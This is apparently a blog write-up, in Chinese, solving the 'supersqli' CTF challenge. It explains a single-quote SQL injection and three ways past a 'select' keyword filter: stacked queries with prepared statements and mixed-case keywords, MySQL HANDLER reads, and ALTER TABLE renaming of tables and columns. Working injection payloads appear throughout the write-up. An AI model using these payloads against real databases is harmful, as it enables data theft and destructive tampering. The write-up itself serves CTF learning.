• supersqli


    0x01

    拿到题目后,发现是单引号报错字符型注入
    在这里插入图片描述
    order by 2的时候页面正常回显,order by 3的时候页面出错,所以我们知道只有两个字段。
    接下来union联合查询,发现select被过滤了
    在这里插入图片描述
    所以我们需要绕过select的过滤,下面有几种方法

    0x02

    堆叠查询+预编译

    我们发现这里可以执行多sql语句,所以我们可以采用堆叠查询,那我们查询表名,结果如下:在这里插入图片描述
    查询表名中的列名,结果如下:
    在这里插入图片描述
    在这里插入图片描述
    所以我们找到flag在第一个表中,那么接下来我们要查看flag中的内容,但是这里select被过滤了,所以我们必须得绕过这个过滤,怎么绕过呢?我们可以采用预编译的方式进行绕过

    -1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare aaa from @sql;EXECUTE aaa;#
    

    但是当我们执行预编译语句的时候出现下图结果:
    在这里插入图片描述
    所以这里还同时过滤了set和prepare,那我们同时也要绕过它,如何绕过,我们可以采用大小写的形式进行绕过(经尝试,双写无法绕过)

    1';sEt @sql = CONCAT('sele','ct * from `1919810931114514`;');prepArE aaa from @sql;EXECUTE aaa;#
    

    结果如图:
    在这里插入图片描述
    到这里,拿到flag

    0x03

    handler查询

    mysql可以使用select查询表中的数据,也可使用handler语句,这条语句是一行一行的浏览一个表中的数据。
    handler可以用于MyISAM和InnoDB表。
    使用方法:
    handler table_name open打开一张表
    handel table_name read first读取第一行内容,
    handel table_name read next依次获取其它行
    最后一行执行之后再执行handel table_name read next会返回一个空的结果。

    -1';handler `1919810931114514` open;handler `1919810931114514` read first;#
    

    上面payload是两个语句,一个是打开表,一个是读表中的第一行字段中的内容
    执行结果如下:
    在这里插入图片描述

    0x04

    这里看到别人分享的一个解题思路,感觉姿势挺独特,介绍一下

    修改表名和列名
    我们知道,这里面一共有两个表,所以我们看一下第二个表
    在这里插入图片描述
    有如下列,其中有一个列就是data列我们是可以进行查询,爆出内容的,所以我们可以利用数据库修改表名和列名的方法,将我们要查询的表名改成第二个,就可以查询出我们想要的内容了

    1'; alter table words rename to aaaa;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#
    

    介绍一下这几句:
    alter table words rename to aaaa;先把原来的words表名字改成别的,这个随便
    alter table 1919810931114514 rename to words;将表1919810931114514的名字改为words
    alter table words change flag id varchar(100);将改完名字后的表中的flag改为id,字符串尽量长点吧

    然后我们用1' or 1=1 --+直接就能得到正确结果
    在这里插入图片描述

    0x05

    总结:

    这几个方法中,感觉最快的就是handler了,这个方法我之前也是没有碰到过,通过这次做题,也是了解到这个查询语句的存在和用法。

  • 相关阅读:
    14GDB代码反向执行
    AcWing 1144. 连接格点
    AcWing 1143. 联络员
    AcWing 1141 局域网
    AcWing 1148 秘密的牛奶运输
    AcWing 904 虫洞
    AcWing 1146. 新的开始  
    AcWing 1140. 最短网络
    AcWing 346 走廊泼水节
    AcWing 1145. 北极通讯网络
  • 原文地址:https://www.cnblogs.com/Jleixin/p/12988817.html
Copyright © 2020-2023  润新知